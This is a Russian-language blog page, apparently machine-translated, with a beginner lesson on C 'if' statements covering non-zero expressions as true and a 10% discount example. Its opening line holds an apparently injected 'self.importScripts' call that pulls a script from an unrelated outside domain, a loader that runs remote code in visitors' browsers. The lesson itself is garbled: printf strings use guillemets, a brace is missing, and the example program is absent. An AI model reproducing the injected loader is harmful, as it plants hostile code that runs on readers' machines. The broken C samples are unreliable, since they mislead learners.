google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

C if Statement - Часть 2


В последнем уроке мы узнали о базовом использовании инструкций по управлению решениями с использованием оператора if. Сегодня мы расширим этот урок некоторыми продвинутыми примерами.

Немного больше об условиях

Как я уже говорил ранее, оператор if используется с некоторыми условиями. По правде говоря, он также может быть использован с некоторым выражением. 
Таким образом, общая форма заявления if
if (выражение) 

утверждение 1 
утверждение 2 


}

Что такое выражение?

Это выражение может быть любым допустимым выражением, включая реляционное и арифметическое выражение. Некоторые общие примеры приведены ниже.
if (3 + 2) 
printf («Это будет печатать каждый раз»);
if (6/2 + 4) 
printf («Это будет печатать каждый раз»);
if (0) 
printf («Это никогда не выполнится»);

Заключение

По правде говоря, на языке C любое ненулевое число считается ИСТИННЫМ, тогда как ноль считается ЛОЖНЫМ.
Во время выполнения инструкции по управлению принятием решения компилятор проверяет выражение, либо оно оценивает 0, либо нет. Если результат равен 0, он никогда не выполнит тело оператора if. Но если выражение оценивается как любое ненулевое число, то оно выполнит тело оператора if.
В первых двух примерах выражение в if оценивает ненулевое значение. Таким образом, он напечатает сообщение.
В последнем примере я написал 0. Поэтому оператор printf () не выполняется. 
Примечание: использование выражений очень важно в языке Си. При написании больших программ он используется очень часто. Поэтому я рекомендую вам правильно понять основную логику. Если у вас есть какие-либо проблемы, вы также можете оставить свои запросы в комментариях.
Теперь давайте возьмем одну слегка сложную программу, чтобы понять все основы, связанные с оператором if.

Пример программы

Сделайте одну программу, которая будет отображать общую сумму после вычета скидки 10%, если общая сумма превышает 2000.

Выход
C if Statement - Часть 2
Теперь давайте попытаемся понять эту программу 1. Я надеюсь, что вы должны понимать основные начальные шаги этой программы. Я дам объяснение только если заявление.


2. Если в условии, которое я дал условие (amnt> 2000), это означает, что он проверит сумму, если она больше 2000. Скажем, если она больше суммы, он выполнит инструкции в теле если. В противном случае он будет пропущен.
3. В нашем тестовом прогоне мы дали значение 2100, так как оно больше 2000. Таким образом, управление проходит внутри тела оператора if и выполняет следующие действия.
- Сначала отобразится сообщение «Вы имеете право на скидку». 
- На следующем шаге будет рассчитана скидка, т.е. 10% от общей суммы. 
- На последнем этапе он вычтет скидку из окончательной суммы.
4. Теперь на последнем шаге будет отображаться итоговая сумма.

Комментариев нет:

Отправить комментарий